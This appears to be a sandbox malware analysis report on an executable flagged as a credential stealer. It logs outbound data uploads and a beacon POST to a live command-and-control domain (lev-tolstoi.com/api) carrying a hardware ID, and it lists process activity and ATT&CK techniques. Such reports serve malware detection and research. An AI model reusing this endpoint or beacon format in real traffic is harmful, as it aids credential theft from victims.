2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 5f 7e 83 e9 c0 37 7b 11 66 49 94 9c 98 d8 6c 95 47 98 25 bf 04 32 c0 fe 6d 86 1b 4b 46 5a 70 ea a3 ce 20 f8 ad ae 40 d2 6b 62 64 f8 b3 63 ea aa 2c eb ce 68 5f ba 51 6b 25 27 4f 99 a6 00 6c 13 da 30 71 a6 26 b9 bb cb b1 aa 8b af 58 62 15 73 f2 f7 9a 8c 36 19 11 8b 61 dc 72 de bb 1b 29 16 83 ff be ed 32 e4 73 e8 fe 03 60 d6 aa 66 4a 07 86 22 95 0b ee 88 3b 78 87 29 0f d1 da 8f 45 9d 96 3b 75 db 0a 0c a5 1d 02 d5 e3 69 9b 3e 04 40 9a df 1a 8c e8 a8 da 53 30 6c fd 93 e3 eb ae e6 4f b5 f3 cf b2 2f 5d b9 ad e3 b6 25 ed d9 3e ab ea 39 67 3f 90 c5 b8 d6 be cd f4 85 97 4a 59 72 77 fe 09 5d b7 d7 d9 7a 74 73 d1 e6 fc f5 aa 81 f4 54 e7 3d c0 6b e0 07 04 57 21 ff e7 2c 52 59 23 53 24 e7 2a 17 67 41 c0 be c9 0d f8 0f 01 4b 0a 20 b3 20 72 af 68 0a 32 d7 10 20 5d a3 98 Data Ascii: _~7{fIlG%2mKFZp @kbdc,h_Qk%'Ol0q&Xbs6ar)2s`fJ";x)E;ui>@S0lO/]%>9g?JYrw]ztsT=kW!,RY#S$*gAK rh2 ]
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 8a f1 01 2f 30 57 16 a2 6f 06 a8 c0 42 fa 4e 19 2e c8 fe f3 a5 c5 65 41 32 db 75 ec 85 ac c7 35 90 99 2a 66 9d fe a8 6d 4a 15 ba fc 4f 26 5c 1f 43 f1 b6 6e c3 67 da 56 61 9a 1d 7c f3 90 ed 21 d6 93 cb af e9 b9 0f 2b 22 54 6d a7 e3 02 85 1c e4 9d e2 d3 61 f1 12 74 83 c5 53 80 9e db 86 d5 9e 49 2f ef fd 57 2f 68 7f 11 5f c7 7d ba c7 71 9e f9 af 0a 7d 26 ff ec 76 24 ba 06 1f f5 8d 79 bc 2c 2f 7c c6 c5 79 8a dd 27 f9 f5 58 59 c5 5d 72 c6 c3 4c ef b6 2c ee 7a f3 cb 60 24 6e b9 2c 63 03 46 7f a5 b1 5b b0 ae f7 e7 9d 29 cf e6 df dd 57 26 e9 fb 34 4e d2 06 c8 0f f3 fc a8 21 2a 7f 00 d2 70 f5 28 37 c8 37 7c c3 3f e7 e4 95 6a 0c 48 3a e5 14 3d a3 56 67 a3 20 32 a9 fe da 77 fa 30 4f 3a bb e6 b4 ab 4b 3f a2 b6 f3 d3 1d ae 45 8a 58 af 3d 5d 8a d3 b6 3b b1 e1 9f 10 cb Data Ascii: /0WoBN.eA2u5fmJO&\CngVa\|!+"TmatSI/W/h_}q}&v$y,/\|y'XY]rL,z`$n,cF[)W&4N!p(77\|?jH:=Vg 2w0O:K?EX=];
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: ff 88 60 fe 1e c5 01 e4 f7 ad 88 00 04 14 15 4d 4d a9 c7 1e c7 13 03 30 ff 8b b4 a7 f3 30 7d 2a fa 4b 97 7a 9d 73 ab eb 08 75 65 c8 f6 2a d1 51 63 36 83 1f 74 7e a6 a6 ca af 6a da c4 06 62 c8 18 d9 f0 c8 2f 2f ba 61 4f c7 e1 e7 62 f9 4c 57 f9 cc 20 e8 14 28 f0 ff ec c0 f8 df c3 24 8c 76 c1 91 7a 75 0f 1e 62 9d b2 a0 ef 26 bf cf be b3 c0 92 91 95 81 76 8f 74 ee c7 d2 3a 9c d5 03 d7 1e c1 88 0d 84 02 61 b0 f7 c6 4d 9e b2 86 6a c2 e2 78 26 11 67 17 b8 d6 b9 42 76 ab ef d9 b0 48 6b e9 8f 94 59 28 bd 59 67 f3 ce 67 3a 1d 4e 04 84 5e b8 9c 19 b1 0c c4 39 86 83 40 09 cc c0 2e 21 14 75 fb 7b 3c 34 63 32 50 96 a0 b5 5c e3 95 66 0a 48 39 8e 97 11 e8 69 2d 68 be c5 cb 53 61 61 e1 d2 8a b2 27 04 5e 15 05 e7 48 d0 85 75 0a 87 12 ec 59 95 bc 76 cf cd 3f 72 84 44 84 ff Data Ascii: `MM00}KzsueQc6t~jb//aObLW ($vzub&vt:aMjx&gBvHkY(Ygg:N^9@.!u{<4c2P\fH9i-hSaa'^HuYv?rD
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 9b af 47 f3 a5 40 c3 86 ad ef 12 d0 bc 3c bb 2f 85 ce ce 75 33 02 6d f4 4a b6 d4 4c b5 a2 69 86 3f 10 7f 04 4f 04 a6 f2 ab fb 03 d4 96 21 df e6 01 81 31 01 4a 39 c7 68 69 b3 73 25 1b e9 8e e5 f9 d7 0d 4d e8 4b 57 b8 47 af a0 8f fd de 7a 2f 6c db 6d 89 41 c5 d7 b3 3a 5a 42 3b af 1e 19 8c 6c b8 68 6b 1b c7 9a 4c 77 10 bb b7 6e ce ed cc fa f6 4b ee 6f 94 11 70 b7 0f 5f f1 7c 38 aa a6 cf cf c6 c5 30 05 9a 0f fd 6b 44 d4 f3 e5 41 7e 51 07 d8 4d 14 fd 3b 9b 28 ce 9f 69 72 0b 6a 99 62 69 07 2f a5 84 a7 08 4e 3c a3 5d 46 e8 a4 8e 4a e2 4c 8d 5e d6 41 e3 dc 1d 7a 76 ec ec 02 4b 45 97 b4 87 09 07 c9 fc 6b 46 ea 48 0f de 57 9f 95 95 d0 96 38 5b 67 c9 7b a7 e1 de 40 c8 d5 4b 36 e3 dc 9f 8b 09 7a 20 87 95 c9 72 dc 51 70 9c 66 7d 60 94 f9 91 ec bf f5 c7 81 e2 8f 9e 94 Data Ascii: G@</u3mJLi?O!1J9his%MKWGz/lmA:ZB;lhkLwnKop_\|80kDA~QM;(irjbi/N<]FJL^AzvKEkFHW8[g{@K6z rQpf}`
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 68 b8 a2 0f 82 7d 47 c9 f3 cd 09 5c 62 a9 4f 05 6e fb 42 af 62 40 1a aa fc d5 48 be 2e 05 ae 14 ab 6d a5 f7 85 a9 d6 54 39 20 bd f1 43 83 14 b8 e6 d7 85 a2 bc f9 40 2a 38 d4 48 58 18 d5 ff f9 56 ec 79 fd eb a7 86 54 01 d1 f1 69 d6 9b 96 6f 6f 0e ab 99 2e 11 76 dd 64 fd 59 8a 90 9c 57 d5 13 fd 21 2e 77 7f 32 ce 75 e2 c3 58 e5 9e f8 86 37 8d 1b c5 ec fe a6 08 74 9e d9 a5 4b b3 e6 d9 eb 29 72 4f 7a e6 da b6 37 ac a5 a2 18 eb 84 41 ff fd d8 28 13 b1 7a 5a 9f 65 37 98 df 78 b6 e3 7f 57 6e df 76 d8 9e 08 0e 6e f7 54 bd 71 e7 07 e8 02 3c e6 f6 48 f5 bb 22 20 81 b4 50 d0 6c 26 0b df c3 c6 80 8c 78 9c 3d 92 18 c0 6d 40 75 e2 35 53 61 a8 8d 81 a2 07 ce 04 ce df 00 af 1d 93 09 74 bc 50 69 5b 4f f6 a6 1a f9 72 8a b0 5a 63 60 2c 50 4b 2d 71 ca 5d 20 2f e5 61 ce ad 59 Data Ascii: h}G\bOnBb@H.mT9 C@*8HXVyTioo.vdYW!.w2uX7tK)rOz7A(zZe7xWnvnTq<H" Pl&x=m@u5SatPi[OrZc`,PK-q] /aY
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 71 52 fb a7 5b ef 0c 1e 53 1c b0 39 4c 7d f7 f6 27 d1 0e 47 73 e2 0d 05 57 65 46 ed 16 31 96 c4 78 87 08 95 76 04 09 61 61 92 b5 f0 43 e6 bd 3f 7e 59 3f 8e a0 8b 1a 3c 07 72 7c 8c 05 e7 0f 22 f2 5e 11 cb 47 12 ad 89 89 34 1b 77 c1 f3 13 64 ef 53 a3 b5 bb 9c 26 c6 9d 56 52 2e 7c 9c d4 12 ad e8 e8 37 6a 57 2d fb 87 4e ea db 77 44 07 0a e0 44 dc 50 81 14 69 e7 a2 82 c0 6d e7 95 eb eb 94 e1 0d dc 93 ba 4e 6b 34 f9 39 d7 97 ba f0 72 e8 81 ba fe 0a a1 b9 fd f9 31 10 b3 10 d8 2c 1c 85 c4 03 bc 88 99 1e 3a eb 82 a6 5e 91 2a cf d5 9f ef 98 3c f8 cf d0 57 6b 51 fc 7c 70 4a ae 02 af 4e 2d b2 ca 36 ab 03 49 32 2f ba bc 81 66 f8 5e f8 9d 2c 06 5e 9a a8 4f 5f ca 4e 10 14 a1 2d 56 62 7d 8e ae 30 d0 a6 be 94 47 9f d3 b9 6e 18 c9 85 61 43 69 13 47 bd bd b5 37 7c 97 8a 5e Data Ascii: qR[S9L}'GsWeF1xvaaC?~Y?<r\|"^G4wdS&VR.\|7jW-NwDDPimNk49r1,:^*<WkQ\|pJN-6I2/f^,^O_N-Vb}0GnaCiG7\|^
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: b3 99 3a 64 7b f8 b0 c2 8b a3 ac 5a 14 4a 4b 98 76 06 84 ad 2c b4 35 86 5e 38 51 8b e3 d3 1e 56 6f ce 09 fd 14 32 ac 17 fc 08 13 bd 42 10 d8 b6 59 df 30 1c a3 4d 33 ad 60 d2 c5 50 f4 5c 85 60 7b 0a f7 bb ac c7 68 83 00 7f 34 10 65 57 eb 97 61 62 b0 0e 31 32 fb 47 3e c3 51 20 ea a4 c5 7b fd b2 f8 bf 1f 5a 08 48 67 1c 09 92 dd b4 23 7e 29 2b a8 af 95 07 1d 1f 70 68 18 a6 4e 6f 9c ae 13 c5 d2 93 9e 23 73 1e 92 4b d9 3f 24 3d cc 32 ab 09 5d b6 85 c3 90 fc 15 8e 59 e6 a6 6e 2b 24 54 04 b2 46 71 2b 6c c0 05 cc e2 31 a4 65 19 e4 7d 30 f9 fb 30 1d df 3f 5a 8a 62 49 20 f6 62 f3 e6 6e 58 c5 b0 0e 6c 7d 5b a1 54 4f bc bb da 48 e0 59 13 e8 2f a5 2e 33 42 9f b6 01 62 6a 44 ac f0 4a 48 45 fc ca 41 2d db 2b fc 77 95 1f 62 b7 24 d6 f7 c8 f0 a8 b9 b7 a8 88 a6 6d 7f 68 64 Data Ascii: :d{ZJKv,5^8QVo2BY0M3`P\`{h4eWab12G>Q {ZHg#~)+phNo#sK?$=2]Yn+$TFq+l1e}00?ZbI bnXl}[TOHY/.3BbjDJHEA-+wb$mhd
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 31 70 9e ce b8 67 08 02 e8 b4 da 2d 5b d1 c9 f7 88 10 29 60 3f ce 6b d4 af 2a 13 ce fe 5e 48 5e 5a 71 3b 06 f0 36 f8 29 3e 20 39 b7 22 c6 7d 5f 1e df c3 cb 0a aa 75 c4 ec 88 c3 a1 10 67 2c 65 e1 ec 0e d0 69 99 7f 34 f4 67 5f 98 2a b8 a4 43 15 06 66 6f 77 e8 1f f5 ff b1 d5 b4 3f de e5 1a fb c7 0b 11 0d 70 6a dd 76 1f 6e 37 20 fc 5d 89 40 22 e4 f2 03 dd d5 68 f7 fb 0f c8 47 e1 1f 68 ac 67 55 dc 87 38 2c f0 14 7e 2b 97 70 8a 7c 1f 24 c4 91 c2 43 8f cc ac 05 3f c0 04 53 f9 8f e6 37 f1 51 cc 4c 8a b9 f6 eb 16 fa 32 12 a3 bc cc ec bd 05 ad ee 06 97 16 23 a5 fc b4 be 5b b9 08 d9 88 8c 18 c7 62 97 9e 9e 16 fd 1c 1c 8e a3 ce 29 af 55 14 84 ce 5b b5 54 eb 23 f8 ec c1 55 9c 39 60 e7 20 f0 c7 17 72 79 b6 8e 76 88 cf 3f ff 47 7f a1 e0 aa 3a e8 74 8f 45 bb 0a 2d 68 ce Data Ascii: 1pg-[)`?k^H^Zq;6)> 9"}_ug,ei4g_Cfow?pjvn7 ]@"hGhgU8,~+p\|$C?S7QL2#[b)U[T#U9` ryv?G:tE-h
2024-12-28 08:56:52 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gqpnb685bmu0el8s1t98s60nut; expires=Wed, 23 Apr 2025 02:43:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6wpQuWfG%2BK59Hvo3X6TjwbFJyIMnSIY0o4bhD1lKYngTrDujuteu9TofvR6QQEyY6QgMV1Qbko9xpp05tI%2FmMFEFcHePEmWAgoy9sTXPPDv5RkgoLJMY0SbwYDYvf2cLqKs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056d7ae478c17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1872&min_rtt=1863&rtt_var=718&sent=348&recv=596&lost=0&retrans=0&sent_bytes=2834&recv_bytes=572479&delivery_rate=1503604&cwnd=240&unsent_bytes=0&cid=c8abfca743ff2f22&ts=3826&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49765	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: lev-tolstoi.com
2024-12-28 08:56:53 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9F42B911B5944219BEBA0C6A975F1733
2024-12-28 08:56:54 UTC	1127	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qlqbjgfui7vkt7uir2oe8ubs3i; expires=Wed, 23 Apr 2025 02:43:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g55%2Fc%2FeUMmxj7YfsLvV4ELzmW2Hh2DqZaOvoDq70GdoRlrb5ifBZI%2BemaPFDsV0vvbnmBiG88CDnmY%2FPYKVv0rsk1NkC5OAJD2Oi63GpDdkhpL%2BnjDsyjfpK5AIewifeNTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056f7fe7c4386-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1719&rtt_var=648&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=987&delivery_rate=1682997&cwnd=246&unsent_bytes=0&cid=effc690baa6b319a&ts=776&x=0"
2024-12-28 08:56:54 UTC	210	IN	Data Raw: 63 63 0d 0a 4c 65 33 66 38 47 4f 4c 48 44 49 76 2b 45 6c 66 67 4d 2f 74 41 39 69 54 65 72 6b 70 48 62 7a 63 46 62 79 2b 6b 51 52 5a 71 73 31 32 6c 76 32 46 51 62 45 2b 57 6c 75 4d 4f 57 58 63 34 4c 45 73 36 61 74 50 6c 78 73 73 69 66 49 6b 6a 59 32 2f 4e 57 2f 32 34 6b 4b 4c 75 61 78 4d 37 33 6c 55 41 5a 30 78 4f 71 4c 6a 7a 32 57 73 73 55 43 4a 42 54 2f 5a 2f 69 2b 4e 77 37 31 2f 65 39 2f 76 46 38 2b 33 68 42 66 37 4a 6d 34 41 70 47 5a 75 75 50 72 44 4d 65 6d 6d 56 49 67 59 4c 70 4c 74 49 2b 43 52 2f 6d 49 2f 39 75 4a 4a 69 4c 6e 65 42 76 4e 35 45 41 50 61 4c 79 75 69 39 64 30 76 2b 76 5a 59 67 78 6c 67 34 51 3d 3d 0d 0a Data Ascii: ccLe3f8GOLHDIv+ElfgM/tA9iTerkpHbzcFby+kQRZqs12lv2FQbE+WluMOWXc4LEs6atPlxssifIkjY2/NW/24kKLuaxM73lUAZ0xOqLjz2WssUCJBT/Z/i+Nw71/e9/vF8+3hBf7Jm4ApGZuuPrDMemmVIgYLpLtI+CR/mI/9uJJiLneBvN5EAPaLyui9d0v+vZYgxlg4Q==
2024-12-28 08:56:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:56:25
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\TdloJt4gY3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TdloJt4gY3.exe"
Imagebase:	0x490000
File size:	2'953'728 bytes
MD5 hash:	2813AAB84C7810610DE640B20C7E4EEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1400126860.000000000158C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1446118778.0000000001566000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1471045779.0000000001566000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1400224047.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:57:05
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:57:06
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1976,i,11112541145755305817,6988053070862879912,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:57:08
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:57:08
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1572,i,9508443502373598390,10805863562423066413,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 05F683B0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515111835.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F5E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f64000_TdloJt4gY3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction ID: 2f4745d835cceef77856e9756d83e6e0cf1b8de46112e23e4bec4af5707b0029
Opcode Fuzzy Hash: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction Fuzzy Hash: 4D91413001D2D69FCB27CF38C9A5AA6BFA1BF03364B1D46CDD8C24E163C2696945C756

Function 05F683B0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515111835.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F5F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f64000_TdloJt4gY3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction ID: 2f4745d835cceef77856e9756d83e6e0cf1b8de46112e23e4bec4af5707b0029
Opcode Fuzzy Hash: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction Fuzzy Hash: 4D91413001D2D69FCB27CF38C9A5AA6BFA1BF03364B1D46CDD8C24E163C2696945C756

Function 05F683B0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515111835.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F64000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f64000_TdloJt4gY3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction ID: 2f4745d835cceef77856e9756d83e6e0cf1b8de46112e23e4bec4af5707b0029
Opcode Fuzzy Hash: 10c08559959369d06c28840f1e8974928b76244fb59f785af84c967e2f8f809d
Instruction Fuzzy Hash: 4D91413001D2D69FCB27CF38C9A5AA6BFA1BF03364B1D46CDD8C24E163C2696945C756

Function 05F61993 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515111835.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F5E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f5e000_TdloJt4gY3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99fbd161f5d8a4eb136bdf8d8d756aed01a6aa48bca689d5280fd80f2cc47081
Instruction ID: 9ccb5f02a2608cdcf22497345932789e09eaa3d8ec84afd6168db9642185b3eb
Opcode Fuzzy Hash: 99fbd161f5d8a4eb136bdf8d8d756aed01a6aa48bca689d5280fd80f2cc47081
Instruction Fuzzy Hash: 3581833401D3D29FC717CF38CAA5AA6BFA1BF43314B0D46C9D8C18E263D2686644C796

Function 05F61993 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515111835.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F5F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f5e000_TdloJt4gY3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99fbd161f5d8a4eb136bdf8d8d756aed01a6aa48bca689d5280fd80f2cc47081
Instruction ID: 9ccb5f02a2608cdcf22497345932789e09eaa3d8ec84afd6168db9642185b3eb
Opcode Fuzzy Hash: 99fbd161f5d8a4eb136bdf8d8d756aed01a6aa48bca689d5280fd80f2cc47081
Instruction Fuzzy Hash: 3581833401D3D29FC717CF38CAA5AA6BFA1BF43314B0D46C9D8C18E263D2686644C796

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
